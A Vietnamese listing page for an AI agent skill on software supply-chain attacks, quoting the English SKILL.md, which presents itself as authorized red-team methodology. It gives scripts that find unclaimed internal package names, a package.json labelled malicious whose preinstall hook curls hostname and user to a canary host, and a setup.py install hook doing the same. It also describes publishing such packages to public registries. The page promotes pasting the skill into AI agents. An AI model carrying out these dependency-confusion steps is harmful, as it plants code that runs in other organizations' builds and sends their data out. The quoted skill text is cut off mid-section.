offensive-supply-chain
Skill này làm gì
Skill này là phương pháp rà soát rủi ro chuỗi cung ứng phần mềm, bao quát nhầm lẫn phụ thuộc, typosquatting, build hook, can thiệp CI/CD và image container. Nó dành cho chuyên gia bảo mật kiểm thử chuỗi cung ứng phần mềm của một tổ chức khi có sự cho phép.
Khi nào nên dùng
- ✓Khi bạn muốn rà soát chuỗi cung ứng phần mềm của mình để tìm rủi ro trong một đánh giá được ủy quyền.
- ✓Khi bạn cần kiểm tra xem build hook hoặc pipeline CI/CD có thể bị can thiệp như thế nào.
- ✓Khi bạn muốn có bằng chứng khái niệm an toàn cho một rủi ro chuỗi cung ứng bạn đã tìm thấy.
Liên kết skill
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/supply-chain/offensive-supply-chain/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Chúng tôi được ủy quyền rà soát chuỗi cung ứng phần mềm của mình. Kiểm tra file khóa và build hook của chúng tôi xem có rủi ro không.”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Skill xác định tên gói nội bộ từ các artifact, chọn hệ sinh thái và loại rủi ro, rồi xây dựng bằng chứng khái niệm an toàn với callback. Sau đó nó xác nhận theo cách có kiểm soát xem rủi ro có áp dụng hay không.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
Offensive Supply Chain Attacks
Software supply chain attacks exploit the trust relationships between developers, package registries, build systems, and deployment pipelines. You target the components and processes that organizations depend on but rarely audit with the same rigor as their own code. A single compromised dependency can propagate across thousands of downstream consumers, making supply chain the highest leverage attack surface in modern software ecosystems.
This skill covers the offensive lifecycle: reconnaissance of internal package names, exploitation of registry resolution logic, build system hook abuse, CI/CD pipeline tampering, and container image supply chain attacks. Every technique maps to authorized red team engagement patterns with safe callback mechanisms.
Quick Workflow
- Enumerate internal package names from target artifacts (lock files, source maps, error messages, GitHub repos).
- Identify the package ecosystem (npm, PyPI, NuGet, Maven, Go, Ruby) and registry configuration.
- Select attack vector: dependency confusion, typosquatting, build hook injection, CI/CD tampering, or container supply chain.
- Prepare a safe proof-of-concept package with DNS canary or HTTP callback -- no destructive payload.
- Register the package on the public registry or stage the artifact for injection.
- Monitor for callback to confirm execution in the target environment.
- Document the attack path, affected systems, and remediation guidance.
Dependency Confusion
Dependency confusion exploits the resolution order when an organization uses both private and public package registries. If the private registry is not configured as the exclusive source, the package manager may prefer a higher-versioned public package over the internal one.
npm Dependency Confusion
When a project references an unscoped private package and the .npmrc does not pin the registry exclusively, npm falls back to the public registry.
# Recon: extract package names from package-lock.json or yarn.lock
cat package-lock.json | jq -r '.dependencies | keys[]' | sort -u > pkg_names.txt
# Check which names are unclaimed on the public npm registry
while read pkg; do
status=$(curl -s -o /dev/null -w "%{http_code}" "https://registry.npmjs.org/$pkg")
if [ "$status" = "404" ]; then
echo "[AVAILABLE] $pkg"
fi
done < pkg_names.txt
// Malicious package.json with high version to win resolution
{
"name": "internal-utils",
"version": "99.0.0",
"scripts": {
"preinstall": "curl https://your-canary.oastify.com/npm-$(hostname)-$(whoami)"
}
}
PyPI Dependency Confusion
Python's pip resolves packages from PyPI by default. When organizations use
--extra-index-url to add a private registry, pip considers both indexes and
selects the highest version.
# Recon: extract internal package names from requirements.txt or setup.cfg
grep -v '^#' requirements.txt | grep -v '^\s*$' | \
sed 's/[>=<].*//' | sed 's/\[.*//' | tr -d ' ' > pypi_names.txt
# Check availability on public PyPI
while read pkg; do
status=$(curl -s -o /dev/null -w "%{http_code}" "https://pypi.org/pypi/$pkg/json")
if [ "$status" = "404" ]; then
echo "[AVAILABLE] $pkg"
fi
done < pypi_names.txt
# setup.py with install hook for safe callback
from setuptools import setup
from setuptools.command.install import install
import os, socket, urllib.request
class PostInstall(install):
def run(self):
install.run(self)
hostname = socket.gethostname()
user = os.getenv("USER", "unknown")
urllib.request.urlopen(
f"https://your-canary.oastify.com/pypi-{hostname}-{user}"
)
setup(
name="internal-data-lib",
version="99.0.0",
cmdclass={"install": PostInstall},
)
NuGet Feed Priority
NuGet resolves from multiple configured feeds. If a private feed is listed alongside nuget.org, the highest version across all feeds wins.
<!-- nuget.config exposing the vulnerability -->
<configuration>
<packageSources>
<add key="nuget.org" value="https://api.nuget.org/v3/index.json" />
<add key="internal" value="https://pkgs.corp.example.com/nuget/v3/index.json" />
</packageSources>
</configuration>
# Check NuGet public registry for unclaimed names
curl -s "https://api.nuget.org/v3-flatcontainer/corp.internal.auth/index.json" \
| jq '.versions'
# Empty or 404 means the name is available
Automated Scanning with
Câu hỏi thường gặp
Typosquatting là gì?
Đó là đăng ký một gói có tên gần giống một gói phổ biến, và skill coi đây là một rủi ro cần kiểm tra.
Nó có dùng payload phá hoại không?
Không. Skill yêu cầu các cơ chế callback an toàn và không có payload phá hoại.
Đây có chỉ dành cho kiểm thử được ủy quyền không?
Có. Skill được viết cho các hợp đồng có văn bản ủy quyền.
Chi tiết
Mô tả gốc của tác giả
Comprehensive offensive methodology for software supply chain attacks covering the full kill chain from reconnaissance through exploitation. Addresses dependency confusion across npm, PyPI, and NuGet ecosystems where internal registry override allows an attacker to inject malicious packages that shadow private dependencies. Covers typosquatting techniques for popular packages, compromised package injection via maintainer account takeover or social engineering, and build system attacks through Makefile injection, setup.py install hooks, and npm postinstall scripts. Extends into CI/CD artifact t
repo: SnailSploit/Claude-Red
Độ phổ biến
- Sao GitHub
- 10k
- Vị trí xếp hạng
- #11973
- Giấy phép
- MIT
- Cập nhật
- 12/10/2026
Bình luận
- …
Thêm skill từ kho mã này
offensive-active-directory
10kLên kế hoạch kiểm thử bảo mật Active Directory được ủy quyền, từ lập bản đồ mạng đến tìm đường tấn công tới Domain Admin.
offensive-netexec
10kGiúp agent của bạn dùng công cụ NetExec (nxc) cho kiểm thử mạng được ủy quyền, bao gồm các giao thức, xác thực và kiểm tra thông tin xác thực.
offensive-api-abuse
10kLên kế hoạch kiểm thử API được ủy quyền để tìm lạm dụng logic nghiệp vụ, rủi ro GraphQL và điều kiện đua.
offensive-api-security
10kChạy kiểm thử bảo mật được ủy quyền trên API REST, gRPC và WebSocket, dựa trên OWASP API Top 10.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.